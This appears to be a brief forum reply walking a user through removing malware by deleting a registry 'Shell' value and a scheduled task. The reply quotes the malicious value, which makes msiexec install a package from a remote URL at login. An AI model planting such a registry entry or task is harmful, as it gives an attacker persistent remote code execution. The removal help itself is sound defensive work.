Hi Przemyslaw8
there is a malicious entry in your registry. Open regedit (Win+R, type regedit), navigate to
Computer\HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies and there shloud be an entry named "Shell" with value "explorer.exe,msiexec.exe /i
http://poi....". Delete it.
Then run (via Win+R dialog)
control schedtasks. Select "Task Scheduler Library" in the left panel. In the list in the middle select "PowerWord-SCT-JT" task and delete it.
Then reboot your computer.
Let me know if it worked.
Jiri